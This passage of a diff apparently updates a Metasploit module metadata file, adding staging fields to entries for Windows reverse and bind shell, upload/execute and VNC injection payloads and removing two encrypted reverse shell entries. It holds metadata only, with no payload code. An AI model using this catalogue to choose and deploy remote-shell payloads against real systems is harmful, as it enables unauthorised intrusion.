"Windows x86 Pingback, Reverse TCP Inline", @@ -221125,7 +226293,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/powershell_bind_tcp": { "name": "Windows Interactive Powershell Session, Bind TCP", @@ -221162,7 +226332,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/powershell_reverse_tcp": { "name": "Windows Interactive Powershell Session, Reverse TCP", @@ -221199,7 +226371,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/powershell_reverse_tcp_ssl": { "name": "Windows Interactive Powershell Session, Reverse TCP SSL", @@ -221236,7 +226410,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/shell/bind_hidden_ipknock_tcp": { "name": "Windows Command Shell, Hidden Bind Ipknock TCP Stager", @@ -221274,7 +226450,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/shell/bind_hidden_tcp": { "name": "Windows Command Shell, Hidden Bind TCP Stager", @@ -221312,7 +226492,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/shell/bind_ipv6_tcp": { "name": "Windows Command Shell, Bind IPv6 TCP Stager (Windows x86)", @@ -221349,7 +226533,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/shell/bind_ipv6_tcp_uuid": { "name": "Windows Command Shell, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -221387,7 +226575,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/shell/bind_named_pipe": { "name": "Windows Command Shell, Windows x86 Bind Named Pipe Stager", @@ -221423,7 +226615,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/shell/bind_nonx_tcp": { "name": "Windows Command Shell, Bind TCP Stager (No NX or Win7)", @@ -221459,7 +226655,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/shell/bind_tcp": { "name": "Windows Command Shell, Bind TCP Stager (Windows x86)", @@ -221496,7 +226696,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp" }, "payload_windows/shell/bind_tcp_rc4": { "name": "Windows Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -221535,7 +226739,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/shell/bind_tcp_uuid": { "name": "Windows Command Shell, Bind TCP Stager with UUID Support (Windows x86)", @@ -221572,7 +226780,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/shell/find_tag": { "name": "Windows Command Shell, Find Tag Ordinal Stager", @@ -221608,7 +226820,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/findtag_ord" }, "payload_windows/shell/reverse_ipv6_tcp": { "name": "Windows Command Shell, Reverse TCP Stager (IPv6)", @@ -221645,7 +226861,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/shell/reverse_nonx_tcp": { "name": "Windows Command Shell, Reverse TCP Stager (No NX or Win7)", @@ -221681,7 +226901,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/shell/reverse_ord_tcp": { "name": "Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -221716,7 +226940,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/shell/reverse_tcp": { "name": "Windows Command Shell, Reverse TCP Stager", @@ -221753,7 +226981,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/shell/reverse_tcp_allports": { "name": "Windows Command Shell, Reverse All-Port TCP Stager", @@ -221790,7 +227022,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/shell/reverse_tcp_dns": { "name": "Windows Command Shell, Reverse TCP Stager (DNS)", @@ -221828,7 +227064,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/shell/reverse_tcp_rc4": { "name": "Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -221867,7 +227107,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/shell/reverse_tcp_rc4_dns": { "name": "Windows Command Shell, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -221906,7 +227150,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/shell/reverse_tcp_uuid": { "name": "Windows Command Shell, Reverse TCP Stager with UUID Support", @@ -221943,7 +227191,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/shell/reverse_udp": { "name": "Windows Command Shell, Reverse UDP Stager with UUID Support", @@ -221979,7 +227231,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/shell", + "stager_refname": "windows/reverse_udp" }, "payload_windows/shell_bind_tcp": { "name": "Windows Command Shell, Bind TCP Inline", @@ -222014,7 +227270,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/shell_bind_tcp_xpfw": { "name": "Windows Disable Windows ICF, Command Shell, Bind TCP Inline", @@ -222048,7 +227306,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/shell_hidden_bind_tcp": { "name": "Windows Command Shell, Hidden Bind TCP Inline", @@ -222084,7 +227344,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/shell_reverse_tcp": { "name": "Windows Command Shell, Reverse TCP Inline", @@ -222119,7 +227381,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/speak_pwned": { "name": "Windows Speech API - Say \"You Got Pwned!\"", @@ -222153,7 +227417,9 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 1, + "staged": false }, "payload_windows/upexec/bind_hidden_ipknock_tcp": { "name": "Windows Upload/Execute, Hidden Bind Ipknock TCP Stager", @@ -222191,7 +227457,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/upexec/bind_hidden_tcp": { "name": "Windows Upload/Execute, Hidden Bind TCP Stager", @@ -222229,7 +227499,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/upexec/bind_ipv6_tcp": { "name": "Windows Upload/Execute, Bind IPv6 TCP Stager (Windows x86)", @@ -222266,7 +227540,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/upexec/bind_ipv6_tcp_uuid": { "name": "Windows Upload/Execute, Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -222304,7 +227582,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/upexec/bind_named_pipe": { "name": "Windows Upload/Execute, Windows x86 Bind Named Pipe Stager", @@ -222340,7 +227622,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/upexec/bind_nonx_tcp": { "name": "Windows Upload/Execute, Bind TCP Stager (No NX or Win7)", @@ -222375,7 +227661,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/upexec/bind_tcp": { "name": "Windows Upload/Execute, Bind TCP Stager (Windows x86)", @@ -222412,7 +227702,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp" }, "payload_windows/upexec/bind_tcp_rc4": { "name": "Windows Upload/Execute, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -222451,7 +227745,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/upexec/bind_tcp_uuid": { "name": "Windows Upload/Execute, Bind TCP Stager with UUID Support (Windows x86)", @@ -222488,7 +227786,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/upexec/find_tag": { "name": "Windows Upload/Execute, Find Tag Ordinal Stager", @@ -222524,7 +227826,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/findtag_ord" }, "payload_windows/upexec/reverse_ipv6_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager (IPv6)", @@ -222561,7 +227867,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/upexec/reverse_nonx_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)", @@ -222596,7 +227906,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/upexec/reverse_ord_tcp": { "name": "Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)", @@ -222632,7 +227946,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/upexec/reverse_tcp": { "name": "Windows Upload/Execute, Reverse TCP Stager", @@ -222669,7 +227987,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/upexec/reverse_tcp_allports": { "name": "Windows Upload/Execute, Reverse All-Port TCP Stager", @@ -222706,7 +228028,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/upexec/reverse_tcp_dns": { "name": "Windows Upload/Execute, Reverse TCP Stager (DNS)", @@ -222744,7 +228070,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/upexec/reverse_tcp_rc4": { "name": "Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -222783,7 +228113,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/upexec/reverse_tcp_rc4_dns": { "name": "Windows Upload/Execute, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -222822,7 +228156,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/upexec/reverse_tcp_uuid": { "name": "Windows Upload/Execute, Reverse TCP Stager with UUID Support", @@ -222859,7 +228197,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/upexec/reverse_udp": { "name": "Windows Upload/Execute, Reverse UDP Stager with UUID Support", @@ -222895,7 +228237,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/upexec", + "stager_refname": "windows/reverse_udp" }, "payload_windows/vncinject/bind_hidden_ipknock_tcp": { "name": "VNC Server (Reflective Injection), Hidden Bind Ipknock TCP Stager", @@ -222933,7 +228279,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_hidden_ipknock_tcp" }, "payload_windows/vncinject/bind_hidden_tcp": { "name": "VNC Server (Reflective Injection), Hidden Bind TCP Stager", @@ -222971,7 +228321,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_hidden_tcp" }, "payload_windows/vncinject/bind_ipv6_tcp": { "name": "VNC Server (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)", @@ -223008,7 +228362,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_ipv6_tcp" }, "payload_windows/vncinject/bind_ipv6_tcp_uuid": { "name": "VNC Server (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)", @@ -223046,7 +228404,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_ipv6_tcp_uuid" }, "payload_windows/vncinject/bind_named_pipe": { "name": "VNC Server (Reflective Injection), Windows x86 Bind Named Pipe Stager", @@ -223082,7 +228444,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_named_pipe" }, "payload_windows/vncinject/bind_nonx_tcp": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)", @@ -223118,7 +228484,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_nonx_tcp" }, "payload_windows/vncinject/bind_tcp": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (Windows x86)", @@ -223155,7 +228525,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp" }, "payload_windows/vncinject/bind_tcp_rc4": { "name": "VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -223194,7 +228568,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp_rc4" }, "payload_windows/vncinject/bind_tcp_uuid": { "name": "VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)", @@ -223231,7 +228609,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/bind_tcp_uuid" }, "payload_windows/vncinject/find_tag": { "name": "VNC Server (Reflective Injection), Find Tag Ordinal Stager", @@ -223267,7 +228649,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/findtag_ord" }, "payload_windows/vncinject/reverse_hop_http": { "name": "VNC Server (Reflective Injection), Reverse Hop HTTP/HTTPS Stager", @@ -223305,7 +228691,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_hop_http" }, "payload_windows/vncinject/reverse_http": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (wininet)", @@ -223341,7 +228731,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_http" }, "payload_windows/vncinject/reverse_http_proxy_pstore": { "name": "VNC Server (Reflective Injection), Reverse HTTP Stager Proxy", @@ -223377,7 +228771,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_http_proxy_pstore" }, "payload_windows/vncinject/reverse_ipv6_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (IPv6)", @@ -223414,7 +228812,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_ipv6_tcp" }, "payload_windows/vncinject/reverse_nonx_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)", @@ -223450,7 +228852,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_nonx_tcp" }, "payload_windows/vncinject/reverse_ord_tcp": { "name": "VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)", @@ -223486,7 +228892,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_ord_tcp" }, "payload_windows/vncinject/reverse_tcp": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager", @@ -223523,7 +228933,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp" }, "payload_windows/vncinject/reverse_tcp_allports": { "name": "VNC Server (Reflective Injection), Reverse All-Port TCP Stager", @@ -223560,7 +228974,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_allports" }, "payload_windows/vncinject/reverse_tcp_dns": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (DNS)", @@ -223598,7 +229016,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_dns" }, "payload_windows/vncinject/reverse_tcp_rc4": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -223637,7 +229059,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_rc4" }, "payload_windows/vncinject/reverse_tcp_rc4_dns": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", @@ -223676,7 +229102,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_rc4_dns" }, "payload_windows/vncinject/reverse_tcp_uuid": { "name": "VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support", @@ -223713,7 +229143,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_tcp_uuid" }, "payload_windows/vncinject/reverse_winhttp": { "name": "VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)", @@ -223750,7 +229184,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/vncinject", + "stager_refname": "windows/reverse_winhttp" }, "payload_windows/x64/custom/bind_ipv6_tcp": { "name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager", @@ -223785,7 +229223,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp" }, "payload_windows/x64/custom/bind_ipv6_tcp_uuid": { "name": "Windows shellcode stage, Windows x64 IPv6 Bind TCP Stager with UUID Support", @@ -223821,7 +229263,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_ipv6_tcp_uuid" }, "payload_windows/x64/custom/bind_named_pipe": { "name": "Windows shellcode stage, Windows x64 Bind Named Pipe Stager", @@ -223856,7 +229302,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_named_pipe" }, "payload_windows/x64/custom/bind_tcp": { "name": "Windows shellcode stage, Windows x64 Bind TCP Stager", @@ -223891,7 +229341,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp" }, "payload_windows/x64/custom/bind_tcp_rc4": { "name": "Windows shellcode stage, Bind TCP Stager (RC4 Stage Encryption, Metasm)", @@ -223931,7 +229385,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_rc4" }, "payload_windows/x64/custom/bind_tcp_uuid": { "name": "Windows shellcode stage, Bind TCP Stager with UUID Support (Windows x64)", @@ -223967,7 +229425,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/bind_tcp_uuid" }, "payload_windows/x64/custom/reverse_http": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -224002,7 +229464,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_http" }, "payload_windows/x64/custom/reverse_https": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)", @@ -224039,7 +229505,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_https" }, "payload_windows/x64/custom/reverse_named_pipe": { "name": "Windows shellcode stage, Windows x64 Reverse Named Pipe (SMB) Stager", @@ -224074,7 +229544,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_named_pipe" }, "payload_windows/x64/custom/reverse_tcp": { "name": "Windows shellcode stage, Windows x64 Reverse TCP Stager", @@ -224109,7 +229583,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp" }, "payload_windows/x64/custom/reverse_tcp_rc4": { "name": "Windows shellcode stage, Reverse TCP Stager (RC4 Stage Encryption, Metasm)", @@ -224149,7 +229627,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_rc4" }, "payload_windows/x64/custom/reverse_tcp_uuid": { "name": "Windows shellcode stage, Reverse TCP Stager with UUID Support (Windows x64)", @@ -224185,7 +229667,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_tcp_uuid" }, "payload_windows/x64/custom/reverse_winhttp": { "name": "Windows shellcode stage, Windows x64 Reverse HTTP Stager (winhttp)", @@ -224220,7 +229706,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "payload_type": 2, + "staged": true, + "stage_refname": "windows/x64/custom", + "stager_refname": "windows/x64/reverse_winhttp" }, "payload_windows/x64/custom/reverse_winhttps": { "name": "Windows shellcode stage, Windows x64 Reverse HTTPS Stager (winhttp)", @@ -224255,77 +229745,11 @@ "notes": { }, "session_types": false, - "needs_cleanup": false - }, - "payload_windows/x64/encrypted_shell/reverse_tcp": { - "name": "Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/windows/x64/encrypted_shell/reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Matt Graeber", - "Shelby Pace" - ], - "description": "Spawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [ - - ], - "platform": "Windows", - "arch": "x64", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", - "path": "/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb", - "is_install_path": true, - "ref_name": "windows/x64/encrypted_shell/reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": { - }, - "session_types": false, - "needs_cleanup": false - }, - "payload_windows/x64/encrypted_shell_reverse_tcp": { - "name": "Windows Encrypted Reverse Shell", - "fullname": "payload/windows/x64/encrypted_shell_reverse_tcp", - "aliases": [ - - ], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Matt Graeber", - "Shelby Pace" - ], - "description": "Connect back to attacker and spawn an encrypted command shell", - "references": [ - - ], - "platform": "Windows", - "arch": "x64", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", - "path": 